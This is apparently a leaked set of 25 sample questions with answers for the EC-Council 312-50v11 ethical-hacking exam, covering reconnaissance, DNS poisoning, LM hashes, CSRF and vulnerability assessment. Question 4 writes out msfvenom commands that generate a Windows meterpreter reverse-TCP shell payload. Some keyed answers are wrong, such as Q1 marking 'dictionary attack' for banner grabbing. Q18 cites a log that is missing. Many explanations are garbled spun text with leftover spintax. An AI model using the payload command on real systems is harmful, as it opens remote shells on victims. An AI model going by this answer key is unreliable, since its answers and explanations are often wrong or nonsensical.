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Eccouncil 312-50v11 Sample Question Answers
Question # 1
In order to tailor your tests during a web-application scan, you decide to determine which web-server version is hosting the application. On using the sV flag with Nmap. you obtainthe following response: 80/tcp open http-proxy Apache Server 7.1.6what Information-gathering technique does this best describe?
A. WhOiS lookup B. Banner grabbing C. Dictionary attack D. Brute forcing
Answer: C
Question # 2
Attacker Steve targeted an organization's network with the aim of redirecting the company's web traffic to another malicious website. To achieve this goal, Steve performed DNS cachepoisoning by exploiting the vulnerabilities In the DNS server software and modified the original IP address of the target website to that of a fake website. What is the techniqueemployed by Steve to gather information for identity theft?
A. Pretexting B. Pharming C. Wardriving D. Skimming
Answer: B
Explanation: A pharming attacker tries to send a web site’s traffic to a faux website controlled by the offender, typically for the aim of collection sensitive data from victims or putting in malware on their machines. Attacker tend to specialize in making look-alike ecommerce and digital banking websites to reap credentials and payment card data. Though they share similar goals, pharming uses a special technique from phishing. “Pharming attacker are targeted on manipulating a system, instead of tricking people into reaching to a dangerous web site,” explains David Emm, principal security man of science at Kaspersky. “When either a phishing or pharming attacker is completed by a criminal, they need a similar driving issue to induce victims onto a corrupt location, however the mechanisms during which this is often undertaken are completely different.”
Question # 3
What is GINA?
A. Gateway Interface Network Application B. GUI Installed Network Application CLASS C. Global Internet National Authority (G-USA) D. Graphical Identification and Authentication DLL
Answer: D
Question # 4
what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?
A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
Answer: C
Question # 5
You are a penetration tester working to test the user awareness of the employees of the client xyz. You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?
A. Reconnaissance B. Command and control C. Weaponization D. Exploitation
Answer: D
Explanation: At this stage exploiting a vulnerability to execute code on victim’s direction channel for remote manipulation of victim is that the objective. Here ancient hardening measures add resiliency, however custom defense capabilities are necessary to prevent zero-day exploits at this stage. once the weapon is delivered to victim host, exploitation triggers intruders’ code. Most often, exploitation targets Associate in Nursing application or software vulnerability, however it may additionally additional merely exploit the users themselves or leverage Associate in Nursing software feature that auto-executes code. In recent years this has become a district of experience within the hacking community that is commonly incontestible at events like Blackhat, Defcon and also the like.
Question # 6
Which of the following LM hashes represent a password of less than 8 characters? (Choose two.)
A. BA810DBA98995F1817306D272A9441BB B. 44EFCE164AB921CQAAD3B435B51404EE C. 0182BD0BD4444BF836077A718CCDF409 D. CEC52EB9C8E3455DC2265B23734E0DAC E. B757BF5C0D87772FAAD3B435B51404EE F. E52CAC67419A9A224A3B108F3FA6CB6D
Answer: B,E
Question # 7
Windows LAN Manager (LM) hashes are known to be weak.Which of the following are known weaknesses of LM? (Choose three.)
A. Converts passwords to uppercase. B. Hashes are sent in clear text over the network. C. Makes use of only 32-bit encryption. D. Effective length is 7 characters.
Answer: A,B,D
Question # 8
A user on your Windows 2000 network has discovered that he can use L0phtcrack to sniff the SMB exchanges which carry user logons. The user is plugged into a hub with 23 othersystems.However, he is unable to capture any logons though he knows that other users are logging in.What do you think is the most likely reason behind this?
A. There is a NIDS present on that segment. B. Kerberos is preventing it. C. Windows logons cannot be sniffed. D. L0phtcrack only sniffs logons to web servers.
Answer: B
Question # 9
A computer science student needs to fill some information into a secured Adobe PDF job application that was received from a prospective employer. Instead of requesting a new document that allowed the forms to be completed, the student decides to write a script that pulls passwords from a list of commonly used passwords to try against the secured PDF until the correct password is found or the list is exhausted.Which cryptography attack is the student attempting?
A. Man-in-the-middle attack B. Brute-force attack C. Dictionary attack D. Session hijacking
Answer: C
Question # 10
During the process of encryption and decryption, what keys are shared?
A. Private keys B. User passwords C. Public keys D. Public and private keys
Answer: C
Question # 11
if you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST. what do you know about the firewall you are scanning?
A. There is no firewall in place. B. This event does not tell you encrypting about the firewall. C. It is a stateful firewall D. It Is a non-stateful firewall.
Answer: B
Question # 12
Chandler works as a pen-tester in an IT-firm in New York. As a part of detecting viruses in the systems, he uses a detection method where the anti-virus executes the malicious codes on a virtual machine to simulate CPU and memory activities. Which type of virus detection method did Chandler use in this context?
A. Heuristic Analysis B. Code Emulation C. Scanning D. Integrity checking
Answer: B
Question # 13
Hackers often raise the trust level of a phishing message by modeling the email to look similar to the internal email used by the target company. This includes using logos, formatting, and names of the target company. The phishing message will often use the name of the company CEO, President, or Managers. The time a hacker spends performing research to locate this information about a company is known as?
A. Exploration B. Investigation C. Reconnaissance D. Enumeration
Answer: C
Question # 14
John, a disgruntled ex-employee of an organization, contacted a professional hacker to exploit the organization. In the attack process, the professional hacker Installed a scanneron a machine belonging to one of the vktims and scanned several machines on the same network to Identify vulnerabilities to perform further exploitation. What is the type ofvulnerability assessment tool employed by John in the above scenario?
A. Proxy scanner B. Agent-based scanner C. Network-based scanner D. Cluster scanner
Answer: B
Explanation: Knowing when to include agents into your vulnerability management processes isn’t an easy decision. Below are common use cases for agent-based vulnerability scanning to assist you build out your combined scanning strategy. Intermittent or Irregular Connectivity: Vulnerability management teams are now tasked with scanning devices that access the company network remotely using public or home-based Wi-Fi connections. These connections are often unreliable and intermittent leading to missed network-based scans. Fortunately, the scanning
frequency of agents doesn’t require a network connection. The agent detects when the device is back online, sending scan data when it’s ready to communicate with the VM platform. Connecting Non-Corporate Devices to Corporate Networks:With the increased use of private devices, company networks are more exposed to malware and infections thanks to limited IT and security teams’ control and visibility. Agent-based scanning gives security teams insight into weaknesses on non-corporate endpoints, keeping them informed about professional hacker is potential attack vectors in order that they can take appropriate action. Endpoints Residing Outside of Company Networks: Whether company-issued or BYOD, remote assets frequently hook up with the web outside of traditional network bounds. An agent that resides on remote endpoints conducts regular, authenticated scans checking out system changes and unpatched software. The results are then sent back to the VM platform and combined with other scan results for review, prioritization, and mitigation planning.
Question # 15
What type of a vulnerability/attack is it when the malicious person forces the user’s browser to send an authenticated request to a server?
A. Session hijacking B. Server side request forgery C. Cross-site request forgery D. Cross-site scripting
Answer: C
Question # 16
Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection. Identify the behavior of the adversary In the above scenario.
A. use of command-line interface B. Data staging C. Unspecified proxy activities D. Use of DNS tunneling
Answer: C
Explanation: A proxy server acts as a gateway between you and therefore the internet. It’s an intermediary server separating end users from the websites they browse. Proxy servers
provide varying levels of functionality, security, and privacy counting on your use case, needs, or company policy.If you’re employing a proxy server, internet traffic flows through
the proxy server on its thanks to the address you requested. A proxy server is essentially a computer on the web with its own IP address that your computer knows. once you send an
internet request, your request goes to the proxy server first. The proxy server then makes your web request on your behalf, collects the response from the online server, and
forwards you the online page data so you’ll see the page in your browser.
Question # 17
Some clients of TPNQM SA were redirected to a malicious site when they tried to access the TPNQM main site. Bob, a system administrator at TPNQM SA, found that they werevictims of DNS Cache Poisoning. What should Bob recommend to deal with such a threat?
A. The use of security agents in clients’ computers B. The use of DNSSEC C. The use of double-factor authentication D. Client awareness
Answer: B
Question # 18
Based on the following extract from the log of a compromised machine, what is the hacker really trying to steal?
A. har.txt B. SAM file C. wwwroot D. Repair file
Answer: B
Question # 19
Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session, upon receiving the users request. Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website. What is the attack performed by Bobby in the above scenario?
A. Wardriving B. KRACK attack C. jamming signal attack D. aLTEr attack
Answer: D
Question # 20
After an audit, the auditors Inform you that there is a critical finding that you must tackle Immediately. You read the audit report, and the problem is the service running on port 369.Which service Is this and how can you tackle the problem?
A. The service is LDAP. and you must change it to 636. which is LDPAPS. B. The service is NTP. and you have to change It from UDP to TCP in order to encrypt it C. The findings do not require immediate actions and are only suggestions. D. The service is SMTP, and you must change it to SMIME. which is an encrypted way to send emails.
Answer: A
Question # 21
A large company intends to use Blackberry for corporate mobile phones and a security analyst is assigned to evaluate the possible threats. The analyst will use the Blackjacking attack method to demonstrate how an attacker could circumvent perimeter defenses and gain access to the Prometric Online Testing – Reports https://ibt1.prometric.com/users/custom/report_queue/rq_str... corporate network. What tool should the analyst use to perform a Blackjacking attack?
A. Paros Proxy B. BBProxy C. Blooover D. BBCrack
Answer: B
Question # 22
PGP, SSL, and IKE are all examples of which type of cryptography?
A. Digest B. Secret Key C. Public Key D. Hash Algorithm
Answer: C
Question # 23
What is the common name for a vulnerability disclosure program opened by companies In platforms such as HackerOne?
A. Vulnerability hunting program B. Bug bounty program C. White-hat hacking program D. Ethical hacking program
Answer: B
Explanation:
Bug bounty programs allow independent security researchers to report bugs to an companies and receive rewards or compensation. These bugs area unit sometimes security exploits and vulnerabilities, although they will additionally embody method problems, hardware flaws, and so on. The reports area unit usually created through a program travel by associate degree
freelance third party (like Bugcrowd or HackerOne). The companies can got wind of (and run) a program curated to the organization’s wants. Programs is also non-public (invite-only) wherever reports area unit unbroken confidential to the organization or public (where anyone will sign in and join). they will happen over a collection timeframe or with without stopping date (though the second possibility is a lot of common). Who uses bug bounty programs?Many major organizations use bug bounties as an area of their security program, together with AOL, Android, Apple, Digital Ocean, and goldman Sachs. you’ll read an inventory of all the programs offered by major bug bounty suppliers, Bugcrowd and HackerOne, at these links. Why do corporations use bug bounty programs?Bug bounty programs provide corporations the flexibility to harness an outsized cluster of hackers so as to seek out bugs in their code. This gives them access to a bigger variety of hackers or testers than they’d be able to access on a one-on-one basis. It {can also|also will|can even|may also|may} increase the probabilities that bugs area unit found and reported to them before malicious hackers can exploit them. It may also be an honest publicity alternative for a firm. As bug bounties became a lot of common, having a bug bounty program will signal to the general public and even regulators that a corporation incorporates a mature security program. This trend is likely to continue, as some have began to see bug bounty programs as an business normal that all companies ought to invest in. Why do researchers and hackers participate in bug bounty programs?Finding and news bugs via a bug bounty program may end up in each money bonuses and recognition. In some cases, it will be a good thanks to show real-world expertise once you are looking for employment, or will even facilitate introduce you to parents on the protection team within an companies. This can be full time income for a few of us, income to supplement employment, or the way to point out off your skills and find a full time job. It may also be fun! it is a nice (legal) probability to check out your skills against huge companies and government agencies. What area unit the disadvantages of a bug bounty program for independent researchers and hackers?A lot of hackers participate in these varieties of programs, and it will be tough to form a major quantity of cash on the platform. In order to say the reward, the hacker has to be the primary person to submit the bug to the program. meaning that in apply, you may pay weeks searching for a bug to use, solely to be the person to report it and build no cash. Roughly ninety seven of participants on major bug bounty platforms haven’t sold-out a bug. In fact, a 2019 report from HackerOne confirmed that out of quite three hundred,000 registered users, solely around two.5% received a bounty in their time on the platform. Essentially, most hackers are not creating a lot of cash on these platforms, and really few square measure creating enough to switch a full time wage (plus they do not have advantages like vacation days, insurance, and retirement planning). What square measure the disadvantages of bug bounty programs for organizations?These programs square measure solely helpful if the program ends up in the companies realizeing issues that they weren’t able to find themselves (and if they’ll fix those problems)! If the companies is not mature enough to be able to quickly rectify known problems, a bug bounty program is not the right alternative for his or her companies. Also, any bug bounty program is probably going to draw in an outsized range of submissions, several of which can not be high-quality submissions. a corporation must be ready to cope with the exaggerated volume of alerts, and also the risk of a coffee signal to noise magnitude relation (essentially that it’s probably that they’re going to receive quite few unhelpful reports for each useful report). Additionally, if the program does not attract enough participants (or participants with the incorrect talent set, and so participants are not able to establish any bugs), the program is not useful for the companies. The overwhelming majority of bug bounty participants consider web site vulnerabilities (72%, per HackerOn), whereas solely a number of (3.5%) value more highly to seek for package vulnerabilities. This is probably because of the actual fact that hacking in operation systems (like network hardware and memory) needs a big quantity of extremely specialised experience. this implies that firms may even see vital come on investment for bug bounties on websites, and not for alternative applications, notably those that need specialised experience. This conjointly implies that organizations which require to look at AN application or web site among a selected time-frame may not need to rely on a bug bounty as there is no guarantee of once or if they receive reports. Finally, it are often probably risky to permit freelance researchers to try to penetrate your network. this could end in public speech act of bugs, inflicting name harm within the limelight (which could end in individuals not eager to purchase the organizations’ product or service), or speech act of bugs to additional malicious third parties, United Nations agency may use this data to focus on the organization.
Question # 24
When you are testing a web application, it is very useful to employ a proxy tool to save every request and response. You can manually test every request and analyze the response to find vulnerabilities. You can test parameter and headers manually to get more precise results than if using web vulnerability scanners.What proxy tool will help you find web vulnerabilities?
A. Maskgen B. Dimitry C. Burpsuite D. Proxychains
Answer: C
Question # 25
A newly joined employee. Janet, has been allocated an existing system used by a previous employee. Before issuing the system to Janet, it was assessed by Martin, the administrator. Martin found that there were possibilities of compromise through user directories, registries, and other system parameters. He also Identified vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors. What is the type of vulnerability assessment performed by Martin?
A. Credentialed assessment B. Database assessment C. Host-based assessment D. Distributed assessment
Answer: C
Explanation: The host-based vulnerability assessment (VA) resolution arose from the auditors’ got to periodically review systems. Arising before the net becoming common, these tools typically take an “administrator’s eye” read of the setting by evaluating all of the knowledge that an administrator has at his or her disposal. UsesHost VA tools verify system configuration, user directories, file systems, registry settings, and all forms of other info on a number to gain information about it. Then, it evaluates the chance of compromise. it should also live compliance to a predefined company policy so as to satisfy an annual audit. With administrator access, the scans area unit less possible to disrupt traditional operations since the computer code has the access it has to see into the complete configuration of the system. What it Measures Host VA tools will examine the native configuration tables and registries to spot not solely apparent vulnerabilities, however additionally “dormant” vulnerabilities – those weak or misconfigured systems and settings which will be exploited when an initial entry into the setting. Host VA solutions will assess the safety settings of a user account table; the access management lists related to sensitive files or data; and specific levels of trust applied to other systems. The host VA resolution will a lot of accurately verify the extent of the danger by determinant however way any specific exploit could also be ready to get.
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